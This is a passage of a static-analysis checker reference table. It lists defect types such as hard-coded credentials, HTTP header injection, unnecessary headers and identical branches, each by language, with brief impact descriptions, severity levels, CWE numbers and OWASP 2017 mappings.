| HARDCODED_CREDENTIALS | Use of hard-coded cryptographic key | Medium impact security | C# | Users with access to this source code can use this key to access encrypted production data. Changing this key requires changing the code and re-deploying the application. | Medium | Security | 321 | 17, 18, 254, 255, 264, 284, 287, 310, 320, 321, 330, 344, 361, 629, 632, 635, 657, 664, 671, 693, 699, 700, 710, 711, 718, 719, 720, 723, 724, 729, 734, 747, 750, 753, 798, 800, 803, 808, 809, 812, 844, 861, 866, 867, 868, 883, 884, 888, 892, 898, 899, 900, 905, 907, 928, 930, 934, 935, 944, 947, 950, 975, 978, 984, 1000, 1003, 1008, 1010, 1011, 1013, 1026, 1028, 1029, 1031 | owasp-web-2017-A2: Broken Authentication, owasp-web-2017-A3: Sensitive Data Exposure, owasp-web-2017-A5: Broken Access Control | ✓ |
| HARDCODED_CREDENTIALS | Use of hard-coded cryptographic key | Medium impact security | Java | Users with access to this source code can use this key to access encrypted production data. Changing this key requires changing the code and re-deploying the application. | Medium | Security | 321 | 17, 18, 254, 255, 264, 284, 287, 310, 320, 321, 330, 344, 361, 629, 632, 635, 657, 664, 671, 693, 699, 700, 710, 711, 718, 719, 720, 723, 724, 729, 734, 747, 750, 753, 798, 800, 803, 808, 809, 812, 844, 861, 866, 867, 868, 883, 884, 888, 892, 898, 899, 900, 905, 907, 928, 930, 934, 935, 944, 947, 950, 975, 978, 984, 1000, 1003, 1008, 1010, 1011, 1013, 1026, 1028, 1029, 1031 | owasp-web-2017-A2: Broken Authentication, owasp-web-2017-A3: Sensitive Data Exposure, owasp-web-2017-A5: Broken Access Control | ✓ |
| HARDCODED_CREDENTIALS | Use of hard-coded cryptographic key | Medium impact security | Objective-C/C++ | Users with access to this source code can use this key to access encrypted production data. Changing this key requires changing the code and re-deploying the application. | Medium | Security | 321 | 17, 18, 254, 255, 264, 284, 287, 310, 320, 321, 330, 344, 361, 629, 632, 635, 657, 664, 671, 693, 699, 700, 710, 711, 718, 719, 720, 723, 724, 729, 734, 747, 750, 753, 798, 800, 803, 808, 809, 812, 844, 861, 866, 867, 868, 883, 884, 888, 892, 898, 899, 900, 905, 907, 928, 930, 934, 935, 944, 947, 950, 975, 978, 984, 1000, 1003, 1008, 1010, 1011, 1013, 1026, 1028, 1029, 1031 | owasp-web-2017-A2: Broken Authentication, owasp-web-2017-A3: Sensitive Data Exposure, owasp-web-2017-A5: Broken Access Control | ✓ |
| HARDCODED_CREDENTIALS | Use of hard-coded cryptographic key | Medium impact security | Visual Basic | Users with access to this source code can use this key to access encrypted production data. Changing this key requires changing the code and re-deploying the application. | Medium | Security | 321 | 17, 18, 254, 255, 264, 284, 287, 310, 320, 321, 330, 344, 361, 629, 632, 635, 657, 664, 671, 693, 699, 700, 710, 711, 718, 719, 720, 723, 724, 729, 734, 747, 750, 753, 798, 800, 803, 808, 809, 812, 844, 861, 866, 867, 868, 883, 884, 888, 892, 898, 899, 900, 905, 907, 928, 930, 934, 935, 944, 947, 950, 975, 978, 984, 1000, 1003, 1008, 1010, 1011, 1013, 1026, 1028, 1029, 1031 | owasp-web-2017-A2: Broken Authentication, owasp-web-2017-A3: Sensitive Data Exposure, owasp-web-2017-A5: Broken Access Control | ✓ |
| HARDCODED_CREDENTIALS | Use of hard-coded password | Medium impact security | C/C++ | Users with access to this source code can use this password to access production services or data. Changing this password requires changing the code and re-deploying the application. | Medium | Security | 259 | 17, 18, 254, 255, 259, 264, 284, 287, 330, 344, 361, 629, 632, 635, 657, 664, 671, 693, 699, 700, 710, 711, 718, 723, 724, 734, 747, 750, 753, 798, 800, 803, 808, 809, 812, 844, 861, 866, 867, 868, 883, 884, 888, 892, 898, 899, 900, 905, 907, 928, 930, 935, 944, 947, 950, 975, 978, 984, 1000, 1003, 1008, 1010, 1011, 1013, 1026, 1028, 1031 | owasp-web-2017-A2: Broken Authentication, owasp-web-2017-A5: Broken Access Control | ✓ |
| HARDCODED_CREDENTIALS | Use of hard-coded password | Medium impact security | C# | Users with access to this source code can use this password to access production services or data. Changing this password requires changing the code and re-deploying the application. | Medium | Security | 259 | 17, 18, 254, 255, 259, 264, 284, 287, 330, 344, 361, 629, 632, 635, 657, 664, 671, 693, 699, 700, 710, 711, 718, 723, 724, 734, 747, 750, 753, 798, 800, 803, 808, 809, 812, 844, 861, 866, 867, 868, 883, 884, 888, 892, 898, 899, 900, 905, 907, 928, 930, 935, 944, 947, 950, 975, 978, 984, 1000, 1003, 1008, 1010, 1011, 1013, 1026, 1028, 1031 | owasp-web-2017-A2: Broken Authentication, owasp-web-2017-A5: Broken Access Control | ✓ |
| HARDCODED_CREDENTIALS | Use of hard-coded password | Medium impact security | Java | Users with access to this source code can use this password to access production services or data. Changing this password requires changing the code and re-deploying the application. | Medium | Security | 259 | 17, 18, 254, 255, 259, 264, 284, 287, 330, 344, 361, 629, 632, 635, 657, 664, 671, 693, 699, 700, 710, 711, 718, 723, 724, 734, 747, 750, 753, 798, 800, 803, 808, 809, 812, 844, 861, 866, 867, 868, 883, 884, 888, 892, 898, 899, 900, 905, 907, 928, 930, 935, 944, 947, 950, 975, 978, 984, 1000, 1003, 1008, 1010, 1011, 1013, 1026, 1028, 1031 | owasp-web-2017-A2: Broken Authentication, owasp-web-2017-A5: Broken Access Control | ✓ |
| HARDCODED_CREDENTIALS | Use of hard-coded password | Medium impact security | Objective-C/C++ | Users with access to this source code can use this password to access production services or data. Changing this password requires changing the code and re-deploying the application. | Medium | Security | 259 | 17, 18, 254, 255, 259, 264, 284, 287, 330, 344, 361, 629, 632, 635, 657, 664, 671, 693, 699, 700, 710, 711, 718, 723, 724, 734, 747, 750, 753, 798, 800, 803, 808, 809, 812, 844, 861, 866, 867, 868, 883, 884, 888, 892, 898, 899, 900, 905, 907, 928, 930, 935, 944, 947, 950, 975, 978, 984, 1000, 1003, 1008, 1010, 1011, 1013, 1026, 1028, 1031 | owasp-web-2017-A2: Broken Authentication, owasp-web-2017-A5: Broken Access Control | ✓ |
| HARDCODED_CREDENTIALS | Use of hard-coded password | Medium impact security | Visual Basic | Users with access to this source code can use this password to access production services or data. Changing this password requires changing the code and re-deploying the application. | Medium | Security | 259 | 17, 18, 254, 255, 259, 264, 284, 287, 330, 344, 361, 629, 632, 635, 657, 664, 671, 693, 699, 700, 710, 711, 718, 723, 724, 734, 747, 750, 753, 798, 800, 803, 808, 809, 812, 844, 861, 866, 867, 868, 883, 884, 888, 892, 898, 899, 900, 905, 907, 928, 930, 935, 944, 947, 950, 975, 978, 984, 1000, 1003, 1008, 1010, 1011, 1013, 1026, 1028, 1031 | owasp-web-2017-A2: Broken Authentication, owasp-web-2017-A5: Broken Access Control | ✓ |
| HARDCODED_CREDENTIALS | Use of hard-coded security token | Medium impact security | C/C++ | Users with access to this source code can use this security token to access production services or data. Changing this token requires changing the code and re-deploying the application. | Medium | Security | 798 | 17, 18, 254, 255, 264, 284, 287, 330, 344, 361, 629, 632, 635, 657, 664, 671, 693, 699, 700, 710, 711, 718, 723, 724, 734, 747, 750, 753, 798, 800, 803, 808, 809, 812, 844, 861, 866, 867, 868, 883, 884, 888, 892, 898, 899, 900, 905, 907, 928, 930, 935, 944, 947, 975, 978, 984, 1000, 1003, 1008, 1010, 1011, 1013, 1026, 1028, 1031 | owasp-web-2017-A2: Broken Authentication, owasp-web-2017-A5: Broken Access Control | ✓ |
| HARDCODED_CREDENTIALS | Use of hard-coded security token | Medium impact security | C# | Users with access to this source code can use this security token to access production services or data. Changing this token requires changing the code and re-deploying the application. | Medium | Security | 798 | 17, 18, 254, 255, 264, 284, 287, 330, 344, 361, 629, 632, 635, 657, 664, 671, 693, 699, 700, 710, 711, 718, 723, 724, 734, 747, 750, 753, 798, 800, 803, 808, 809, 812, 844, 861, 866, 867, 868, 883, 884, 888, 892, 898, 899, 900, 905, 907, 928, 930, 935, 944, 947, 975, 978, 984, 1000, 1003, 1008, 1010, 1011, 1013, 1026, 1028, 1031 | owasp-web-2017-A2: Broken Authentication, owasp-web-2017-A5: Broken Access Control | ✓ |
| HARDCODED_CREDENTIALS | Use of hard-coded security token | Medium impact security | Java | Users with access to this source code can use this security token to access production services or data. Changing this token requires changing the code and re-deploying the application. | Medium | Security | 798 | 17, 18, 254, 255, 264, 284, 287, 330, 344, 361, 629, 632, 635, 657, 664, 671, 693, 699, 700, 710, 711, 718, 723, 724, 734, 747, 750, 753, 798, 800, 803, 808, 809, 812, 844, 861, 866, 867, 868, 883, 884, 888, 892, 898, 899, 900, 905, 907, 928, 930, 935, 944, 947, 975, 978, 984, 1000, 1003, 1008, 1010, 1011, 1013, 1026, 1028, 1031 | owasp-web-2017-A2: Broken Authentication, owasp-web-2017-A5: Broken Access Control | ✓ |
| HARDCODED_CREDENTIALS | Use of hard-coded security token | Medium impact security | Objective-C/C++ | Users with access to this source code can use this security token to access production services or data. Changing this token requires changing the code and re-deploying the application. | Medium | Security | 798 | 17, 18, 254, 255, 264, 284, 287, 330, 344, 361, 629, 632, 635, 657, 664, 671, 693, 699, 700, 710, 711, 718, 723, 724, 734, 747, 750, 753, 798, 800, 803, 808, 809, 812, 844, 861, 866, 867, 868, 883, 884, 888, 892, 898, 899, 900, 905, 907, 928, 930, 935, 944, 947, 975, 978, 984, 1000, 1003, 1008, 1010, 1011, 1013, 1026, 1028, 1031 | owasp-web-2017-A2: Broken Authentication, owasp-web-2017-A5: Broken Access Control | ✓ |
| HARDCODED_CREDENTIALS | Use of hard-coded security token | Medium impact security | Visual Basic | Users with access to this source code can use this security token to access production services or data. Changing this token requires changing the code and re-deploying the application. | Medium | Security | 798 | 17, 18, 254, 255, 264, 284, 287, 330, 344, 361, 629, 632, 635, 657, 664, 671, 693, 699, 700, 710, 711, 718, 723, 724, 734, 747, 750, 753, 798, 800, 803, 808, 809, 812, 844, 861, 866, 867, 868, 883, 884, 888, 892, 898, 899, 900, 905, 907, 928, 930, 935, 944, 947, 975, 978, 984, 1000, 1003, 1008, 1010, 1011, 1013, 1026, 1028, 1031 | owasp-web-2017-A2: Broken Authentication, owasp-web-2017-A5: Broken Access Control | ✓ |
| HARDCODED_CREDENTIALS | Use of hard-coded credentials | Medium impact security | C/C++ | Users with access to this source code can use these credentials to access production services or data. Changing these credentials requires changing the code and re-deploying the application. | Medium | Security | 798 | 17, 18, 254, 255, 264, 284, 287, 330, 344, 361, 629, 632, 635, 657, 664, 671, 693, 699, 700, 710, 711, 718, 723, 724, 734, 747, 750, 753, 798, 800, 803, 808, 809, 812, 844, 861, 866, 867, 868, 883, 884, 888, 892, 898, 899, 900, 905, 907, 928, 930, 935, 944, 947, 975, 978, 984, 1000, 1003, 1008, 1010, 1011, 1013, 1026, 1028, 1031 | owasp-web-2017-A2: Broken Authentication, owasp-web-2017-A5: Broken Access Control | ✓ |
| HARDCODED_CREDENTIALS | Use of hard-coded credentials | Medium impact security | C# | Users with access to this source code can use these credentials to access production services or data. Changing these credentials requires changing the code and re-deploying the application. | Medium | Security | 798 | 17, 18, 254, 255, 264, 284, 287, 330, 344, 361, 629, 632, 635, 657, 664, 671, 693, 699, 700, 710, 711, 718, 723, 724, 734, 747, 750, 753, 798, 800, 803, 808, 809, 812, 844, 861, 866, 867, 868, 883, 884, 888, 892, 898, 899, 900, 905, 907, 928, 930, 935, 944, 947, 975, 978, 984, 1000, 1003, 1008, 1010, 1011, 1013, 1026, 1028, 1031 | owasp-web-2017-A2: Broken Authentication, owasp-web-2017-A5: Broken Access Control | ✓ |
| HARDCODED_CREDENTIALS | Use of hard-coded credentials | Medium impact security | Java | Users with access to this source code can use these credentials to access production services or data. Changing these credentials requires changing the code and re-deploying the application. | Medium | Security | 798 | 17, 18, 254, 255, 264, 284, 287, 330, 344, 361, 629, 632, 635, 657, 664, 671, 693, 699, 700, 710, 711, 718, 723, 724, 734, 747, 750, 753, 798, 800, 803, 808, 809, 812, 844, 861, 866, 867, 868, 883, 884, 888, 892, 898, 899, 900, 905, 907, 928, 930, 935, 944, 947, 975, 978, 984, 1000, 1003, 1008, 1010, 1011, 1013, 1026, 1028, 1031 | owasp-web-2017-A2: Broken Authentication, owasp-web-2017-A5: Broken Access Control | ✓ |
| HARDCODED_CREDENTIALS | Use of hard-coded credentials | Medium impact security | JavaScript | Users with access to this source code can use these credentials to access production services or data. Changing these credentials requires changing the code and re-deploying the application. | Medium | Security | 798 | 17, 18, 254, 255, 264, 284, 287, 330, 344, 361, 629, 632, 635, 657, 664, 671, 693, 699, 700, 710, 711, 718, 723, 724, 734, 747, 750, 753, 798, 800, 803, 808, 809, 812, 844, 861, 866, 867, 868, 883, 884, 888, 892, 898, 899, 900, 905, 907, 928, 930, 935, 944, 947, 975, 978, 984, 1000, 1003, 1008, 1010, 1011, 1013, 1026, 1028, 1031 | owasp-web-2017-A2: Broken Authentication, owasp-web-2017-A5: Broken Access Control | ✓ |
| HARDCODED_CREDENTIALS | Use of hard-coded credentials | Medium impact security | Objective-C/C++ | Users with access to this source code can use these credentials to access production services or data. Changing these credentials requires changing the code and re-deploying the application. | Medium | Security | 798 | 17, 18, 254, 255, 264, 284, 287, 330, 344, 361, 629, 632, 635, 657, 664, 671, 693, 699, 700, 710, 711, 718, 723, 724, 734, 747, 750, 753, 798, 800, 803, 808, 809, 812, 844, 861, 866, 867, 868, 883, 884, 888, 892, 898, 899, 900, 905, 907, 928, 930, 935, 944, 947, 975, 978, 984, 1000, 1003, 1008, 1010, 1011, 1013, 1026, 1028, 1031 | owasp-web-2017-A2: Broken Authentication, owasp-web-2017-A5: Broken Access Control | ✓ |
| HARDCODED_CREDENTIALS | Use of hard-coded credentials | Medium impact security | PHP | Users with access to this source code can use these credentials to access production services or data. Changing these credentials requires changing the code and re-deploying the application. | Medium | Security | 798 | 17, 18, 254, 255, 264, 284, 287, 330, 344, 361, 629, 632, 635, 657, 664, 671, 693, 699, 700, 710, 711, 718, 723, 724, 734, 747, 750, 753, 798, 800, 803, 808, 809, 812, 844, 861, 866, 867, 868, 883, 884, 888, 892, 898, 899, 900, 905, 907, 928, 930, 935, 944, 947, 975, 978, 984, 1000, 1003, 1008, 1010, 1011, 1013, 1026, 1028, 1031 | owasp-web-2017-A2: Broken Authentication, owasp-web-2017-A5: Broken Access Control | ✓ |
| HARDCODED_CREDENTIALS | Use of hard-coded credentials | Medium impact security | Python | Users with access to this source code can use these credentials to access production services or data. Changing these credentials requires changing the code and re-deploying the application. | Medium | Security | 798 | 17, 18, 254, 255, 264, 284, 287, 330, 344, 361, 629, 632, 635, 657, 664, 671, 693, 699, 700, 710, 711, 718, 723, 724, 734, 747, 750, 753, 798, 800, 803, 808, 809, 812, 844, 861, 866, 867, 868, 883, 884, 888, 892, 898, 899, 900, 905, 907, 928, 930, 935, 944, 947, 975, 978, 984, 1000, 1003, 1008, 1010, 1011, 1013, 1026, 1028, 1031 | owasp-web-2017-A2: Broken Authentication, owasp-web-2017-A5: Broken Access Control | ✓ |
| HARDCODED_CREDENTIALS | Use of hard-coded credentials | Medium impact security | Swift | Users with access to this source code can use these credentials to access production services or data. Changing these credentials requires changing the code and re-deploying the application. | Medium | Security | 798 | 17, 18, 254, 255, 264, 284, 287, 330, 344, 361, 629, 632, 635, 657, 664, 671, 693, 699, 700, 710, 711, 718, 723, 724, 734, 747, 750, 753, 798, 800, 803, 808, 809, 812, 844, 861, 866, 867, 868, 883, 884, 888, 892, 898, 899, 900, 905, 907, 928, 930, 935, 944, 947, 975, 978, 984, 1000, 1003, 1008, 1010, 1011, 1013, 1026, 1028, 1031 | owasp-web-2017-A2: Broken Authentication, owasp-web-2017-A5: Broken Access Control | ✓ |
| HARDCODED_CREDENTIALS | Use of hard-coded credentials | Medium impact security | Visual Basic | Users with access to this source code can use these credentials to access production services or data. Changing these credentials requires changing the code and re-deploying the application. | Medium | Security | 798 | 17, 18, 254, 255, 264, 284, 287, 330, 344, 361, 629, 632, 635, 657, 664, 671, 693, 699, 700, 710, 711, 718, 723, 724, 734, 747, 750, 753, 798, 800, 803, 808, 809, 812, 844, 861, 866, 867, 868, 883, 884, 888, 892, 898, 899, 900, 905, 907, 928, 930, 935, 944, 947, 975, 978, 984, 1000, 1003, 1008, 1010, 1011, 1013, 1026, 1028, 1031 | owasp-web-2017-A2: Broken Authentication, owasp-web-2017-A5: Broken Access Control | ✓ |
| HARDCODED_CREDENTIALS | Use of hard-coded URI password | Medium impact security | C/C++ | Users with access to source code can use this password to gain access to services or data at a protected URI. The credentials may also be visible as clear text whenever the full URI is logged, stored, or transmitted insecurely. | Medium | Security | 798 | 17, 18, 254, 255, 264, 284, 287, 330, 344, 361, 629, 632, 635, 657, 664, 671, 693, 699, 700, 710, 711, 718, 723, 724, 734, 747, 750, 753, 798, 800, 803, 808, 809, 812, 844, 861, 866, 867, 868, 883, 884, 888, 892, 898, 899, 900, 905, 907, 928, 930, 935, 944, 947, 975, 978, 984, 1000, 1003, 1008, 1010, 1011, 1013, 1026, 1028, 1031 | owasp-web-2017-A2: Broken Authentication, owasp-web-2017-A5: Broken Access Control | ✓ |
| HARDCODED_CREDENTIALS | Use of hard-coded URI password | Medium impact security | C# | Users with access to source code can use this password to gain access to services or data at a protected URI. The credentials may also be visible as clear text whenever the full URI is logged, stored, or transmitted insecurely. | Medium | Security | 798 | 17, 18, 254, 255, 264, 284, 287, 330, 344, 361, 629, 632, 635, 657, 664, 671, 693, 699, 700, 710, 711, 718, 723, 724, 734, 747, 750, 753, 798, 800, 803, 808, 809, 812, 844, 861, 866, 867, 868, 883, 884, 888, 892, 898, 899, 900, 905, 907, 928, 930, 935, 944, 947, 975, 978, 984, 1000, 1003, 1008, 1010, 1011, 1013, 1026, 1028, 1031 | owasp-web-2017-A2: Broken Authentication, owasp-web-2017-A5: Broken Access Control | ✓ |
| HARDCODED_CREDENTIALS | Use of hard-coded URI password | Medium impact security | Java | Users with access to source code can use this password to gain access to services or data at a protected URI. The credentials may also be visible as clear text whenever the full URI is logged, stored, or transmitted insecurely. | Medium | Security | 798 | 17, 18, 254, 255, 264, 284, 287, 330, 344, 361, 629, 632, 635, 657, 664, 671, 693, 699, 700, 710, 711, 718, 723, 724, 734, 747, 750, 753, 798, 800, 803, 808, 809, 812, 844, 861, 866, 867, 868, 883, 884, 888, 892, 898, 899, 900, 905, 907, 928, 930, 935, 944, 947, 975, 978, 984, 1000, 1003, 1008, 1010, 1011, 1013, 1026, 1028, 1031 | owasp-web-2017-A2: Broken Authentication, owasp-web-2017-A5: Broken Access Control | ✓ |
| HARDCODED_CREDENTIALS | Use of hard-coded URI password | Medium impact security | JavaScript | Users with access to source code can use this password to gain access to services or data at a protected URI. The credentials may also be visible as clear text whenever the full URI is logged, stored, or transmitted insecurely. | Medium | Security | 798 | 17, 18, 254, 255, 264, 284, 287, 330, 344, 361, 629, 632, 635, 657, 664, 671, 693, 699, 700, 710, 711, 718, 723, 724, 734, 747, 750, 753, 798, 800, 803, 808, 809, 812, 844, 861, 866, 867, 868, 883, 884, 888, 892, 898, 899, 900, 905, 907, 928, 930, 935, 944, 947, 975, 978, 984, 1000, 1003, 1008, 1010, 1011, 1013, 1026, 1028, 1031 | owasp-web-2017-A2: Broken Authentication, owasp-web-2017-A5: Broken Access Control | ✓ |
| HARDCODED_CREDENTIALS | Use of hard-coded URI password | Medium impact security | Objective-C/C++ | Users with access to source code can use this password to gain access to services or data at a protected URI. The credentials may also be visible as clear text whenever the full URI is logged, stored, or transmitted insecurely. | Medium | Security | 798 | 17, 18, 254, 255, 264, 284, 287, 330, 344, 361, 629, 632, 635, 657, 664, 671, 693, 699, 700, 710, 711, 718, 723, 724, 734, 747, 750, 753, 798, 800, 803, 808, 809, 812, 844, 861, 866, 867, 868, 883, 884, 888, 892, 898, 899, 900, 905, 907, 928, 930, 935, 944, 947, 975, 978, 984, 1000, 1003, 1008, 1010, 1011, 1013, 1026, 1028, 1031 | owasp-web-2017-A2: Broken Authentication, owasp-web-2017-A5: Broken Access Control | ✓ |
| HARDCODED_CREDENTIALS | Use of hard-coded URI password | Medium impact security | PHP | Users with access to source code can use this password to gain access to services or data at a protected URI. The credentials may also be visible as clear text whenever the full URI is logged, stored, or transmitted insecurely. | Medium | Security | 798 | 17, 18, 254, 255, 264, 284, 287, 330, 344, 361, 629, 632, 635, 657, 664, 671, 693, 699, 700, 710, 711, 718, 723, 724, 734, 747, 750, 753, 798, 800, 803, 808, 809, 812, 844, 861, 866, 867, 868, 883, 884, 888, 892, 898, 899, 900, 905, 907, 928, 930, 935, 944, 947, 975, 978, 984, 1000, 1003, 1008, 1010, 1011, 1013, 1026, 1028, 1031 | owasp-web-2017-A2: Broken Authentication, owasp-web-2017-A5: Broken Access Control | ✓ |
| HARDCODED_CREDENTIALS | Use of hard-coded URI password | Medium impact security | Python | Users with access to source code can use this password to gain access to services or data at a protected URI. The credentials may also be visible as clear text whenever the full URI is logged, stored, or transmitted insecurely. | Medium | Security | 798 | 17, 18, 254, 255, 264, 284, 287, 330, 344, 361, 629, 632, 635, 657, 664, 671, 693, 699, 700, 710, 711, 718, 723, 724, 734, 747, 750, 753, 798, 800, 803, 808, 809, 812, 844, 861, 866, 867, 868, 883, 884, 888, 892, 898, 899, 900, 905, 907, 928, 930, 935, 944, 947, 975, 978, 984, 1000, 1003, 1008, 1010, 1011, 1013, 1026, 1028, 1031 | owasp-web-2017-A2: Broken Authentication, owasp-web-2017-A5: Broken Access Control | ✓ |
| HARDCODED_CREDENTIALS | Use of hard-coded URI password | Medium impact security | Swift | Users with access to source code can use this password to gain access to services or data at a protected URI. The credentials may also be visible as clear text whenever the full URI is logged, stored, or transmitted insecurely. | Medium | Security | 798 | 17, 18, 254, 255, 264, 284, 287, 330, 344, 361, 629, 632, 635, 657, 664, 671, 693, 699, 700, 710, 711, 718, 723, 724, 734, 747, 750, 753, 798, 800, 803, 808, 809, 812, 844, 861, 866, 867, 868, 883, 884, 888, 892, 898, 899, 900, 905, 907, 928, 930, 935, 944, 947, 975, 978, 984, 1000, 1003, 1008, 1010, 1011, 1013, 1026, 1028, 1031 | owasp-web-2017-A2: Broken Authentication, owasp-web-2017-A5: Broken Access Control | ✓ |
| HARDCODED_CREDENTIALS | Use of hard-coded URI password | Medium impact security | Visual Basic | Users with access to source code can use this password to gain access to services or data at a protected URI. The credentials may also be visible as clear text whenever the full URI is logged, stored, or transmitted insecurely. | Medium | Security | 798 | 17, 18, 254, 255, 264, 284, 287, 330, 344, 361, 629, 632, 635, 657, 664, 671, 693, 699, 700, 710, 711, 718, 723, 724, 734, 747, 750, 753, 798, 800, 803, 808, 809, 812, 844, 861, 866, 867, 868, 883, 884, 888, 892, 898, 899, 900, 905, 907, 928, 930, 935, 944, 947, 975, 978, 984, 1000, 1003, 1008, 1010, 1011, 1013, 1026, 1028, 1031 | owasp-web-2017-A2: Broken Authentication, owasp-web-2017-A5: Broken Access Control | ✓ |
| HEADER_INJECTION | HTTP header injection | Medium impact security | C# | An attacker may be able to set important HTTP headers and disable security protections or fix the session ID. The severity of the defect depends on which headers can be manipulated and if the attacker is able to directly or indirectly control the header value. | Medium | Security | 610 | 17, 18, 19, 20, 74, 77, 88, 116, 137, 171, 254, 264, 265, 361, 610, 629, 634, 635, 664, 693, 699, 700, 707, 711, 713, 722, 727, 734, 738, 741, 742, 744, 746, 747, 750, 751, 809, 810, 844, 845, 868, 872, 875, 876, 878, 883, 884, 888, 892, 893, 896, 907, 928, 929, 975, 980, 984, 990, 992, 994, 1000, 1003, 1005, 1008, 1015, 1019, 1020, 1026, 1027 | owasp-web-2017-A1: Injection | |
| HEADER_INJECTION | HTTP header injection | Medium impact security | Java | An attacker may be able to set important HTTP headers and disable security protections or fix the session ID. The severity of the defect depends on which headers can be manipulated and if the attacker is able to directly or indirectly control the header value. | Medium | Security | 610 | 17, 18, 19, 20, 74, 77, 88, 116, 137, 171, 254, 264, 265, 361, 610, 629, 634, 635, 664, 693, 699, 700, 707, 711, 713, 722, 727, 734, 738, 741, 742, 744, 746, 747, 750, 751, 809, 810, 844, 845, 868, 872, 875, 876, 878, 883, 884, 888, 892, 893, 896, 907, 928, 929, 975, 980, 984, 990, 992, 994, 1000, 1003, 1005, 1008, 1015, 1019, 1020, 1026, 1027 | owasp-web-2017-A1: Injection | |
| HEADER_INJECTION | HTTP header injection | Low impact security | PHP | An attacker may be able to set important HTTP headers and disable security protections or fix the session ID. The severity of the defect depends on which headers can be manipulated and if the attacker is able to directly or indirectly control the header value. | Low | Security | 88 | 17, 18, 19, 20, 74, 77, 88, 116, 137, 171, 254, 264, 265, 361, 610, 629, 634, 635, 664, 693, 699, 700, 707, 711, 713, 722, 727, 734, 738, 741, 742, 744, 746, 747, 750, 751, 809, 810, 844, 845, 868, 872, 875, 876, 878, 883, 884, 888, 892, 893, 896, 907, 928, 929, 975, 980, 984, 990, 992, 994, 1000, 1003, 1005, 1008, 1015, 1019, 1020, 1026, 1027 | owasp-web-2017-A1: Injection | |
| HEADER_INJECTION | HTTP header injection | Low impact security | JavaScript | An attacker may be able to set important HTTP headers and disable security protections or fix the session ID. The severity of the defect depends on which headers can be manipulated and if the attacker is able to directly or indirectly control the header value. | Low | Security | 88 | 17, 18, 19, 20, 74, 77, 88, 116, 137, 171, 254, 629, 634, 635, 693, 699, 700, 707, 711, 713, 722, 727, 734, 738, 741, 742, 744, 746, 747, 750, 751, 809, 810, 844, 845, 868, 872, 875, 876, 878, 883, 884, 888, 896, 907, 928, 929, 975, 990, 992, 994, 1000, 1003, 1005, 1008, 1019, 1020, 1026, 1027 | owasp-web-2017-A1: Injection | |
| HFA | Unnecessary header file | Build system issues | C/C++ | Unnecessary header files may slow down build performance. | Low | Quality | 710 | 710, 888, 907, 978, 1000 | ||
| HIBERNATE_BAD_HASHCODE | Unsafe dependence on database key | API usage errors | Java | Collections and other objects which depend on equals() may not behave as expected. | Medium | Quality | 596 | 17, 18, 19, 137, 171, 398, 569, 596, 697, 699, 700, 710, 734, 747, 840, 844, 845, 868, 883, 888, 907, 977, 978, 1000, 1003 | ||
| HIBERNATE_BAD_HASHCODE | Unsafe dependence on database key | API usage errors | Java | Collections and other objects which depend on hashCode() may not behave as expected. | Medium | Quality | None | |||
| IDENTICAL_BRANCHES | Identical code for different cases | Incorrect expression | C/C++ | The case is redundant or can be combined | Medium | Quality | 398 | 17, 18, 398, 700, 710, 888, 907, 978, 1000, 1003 | ||
| IDENTICAL_BRANCHES | Identical code for different cases | Incorrect expression | C# | The case is redundant or can be combined | Medium | Quality | 398 | 17, 18, 398, 700, 710, 888, 907, 978, 1000, 1003 | ||
| IDENTICAL_BRANCHES | Identical code for different cases | Incorrect expression | Java | The case is redundant or can be combined | Medium | Quality | 398 | 17, 18, 398, 700, 710, 888, 907, 978, 1000, 1003 | ||
| IDENTICAL_BRANCHES | Identical code for different cases | Incorrect expression | JavaScript | The case is redundant or can be combined | Medium | Quality | 398 | 17, 18, 398, 700, 710, 888, 907, 978, 1000, 1003 | ||
| IDENTICAL_BRANCHES | Identical code for different cases | Incorrect expression | Objective-C/C++ | The case is redundant or can be combined | Medium | Quality | 398 | 17, 18, 398, 700, 710, 888, 907, 978, 1000, 1003 | ||
| IDENTICAL_BRANCHES | Identical code for different cases | Incorrect expression | PHP | The case is redundant or can be combined | Medium | Quality | 398 | 17, 18, 398, 700, 710, 888, 907, 978, 1000, 1003 | ||
| IDENTICAL_BRANCHES | Identical code for different cases | Incorrect expression | Scala | The case is redundant or can be combined | Medium | Quality | 398 | 17, 18, 398, 700, 710, 888, 907, 978, 1000, 1003 | ||
| IDENTICAL_BRANCHES | Identical code for different cases | Incorrect expression | Swift | The case is redundant or can be combined | Medium | Quality | 398 | 17, 18, 398, 700, 710, 888, 907, 978, 1000, 1003 | ||
| IDENTICAL_BRANCHES | Identical code for different cases | Incorrect expression | Visual Basic | The case is redundant or can be combined | Medium | Quality | 398 | 17, 18, 398, 700, 710, 888, 907, 978, 1000, 1003 | ||
| IDENTICAL_BRANCHES | Identical code for different branches of an else-if chain | Incorrect expression | C/C++ | The conditions could be combined | Medium | Quality | 398 | 17, 18, 398, 700, 710, 888, 907, 978, 1000, 1003 | ||
| IDENTICAL_BRANCHES | Identical code for different branches of an else-if chain | Incorrect expression | C# | The conditions could be combined | Medium | Quality | 398 | 17, 18, 398, 700, 710, 888, 907, 978, 1000, 1003 | ||
| IDENTICAL_BRANCHES | Identical code for different branches of an else-if chain | Incorrect expression | Java | The conditions could be combined | Medium | Quality | 398 | 17, 18, 398, 700, 710, 888, 907, 978, 1000, 1003 | ||
| IDENTICAL_BRANCHES | Identical code for different branches of an else-if chain | Incorrect expression | JavaScript | The conditions could be combined | Medium | Quality | 398 | 17, 18, 398, 700, 710, 888, 907, 978, 1000, 1003 | ||
| IDENTICAL_BRANCHES | Identical code for different branches of an else-if chain | Incorrect expression | Objective-C/C++ | The conditions could be combined | Medium | Quality | 398 | 17, 18, 398, 700, 710, 888, 907, 978, 1000, 1003 | ||
| IDENTICAL_BRANCHES | Identical code for different branches of an else-if chain | Incorrect expression | PHP | The conditions could be combined | Medium | Quality | 398 | 17, 18, 398, 700, 710, 888, 907, 978, 1000, 1003 | ||
| IDENTICAL_BRANCHES | Identical code for different branches of an else-if chain | Incorrect expression | Python | The conditions could be combined | Medium | Quality | 398 | 17, 18, 398, 700, 710, 888, 907, 978, 1000, 1003 | ||
| IDENTICAL_BRANCHES | Identical code for different branches of an else-if chain | Incorrect expression | Ruby | The conditions could be combined | Medium | Quality | 398 | 17, 18, 398, 700, 710, 888, 907, 978, 1000, 1003 | ||
| IDENTICAL_BRANCHES | Identical code for different branches of an else-if chain | Incorrect expression | Scala | The conditions could be combined | Medium | Quality | 398 | 17, 18, 398, 700, 710, 888, 907, 978, 1000, 1003 | ||
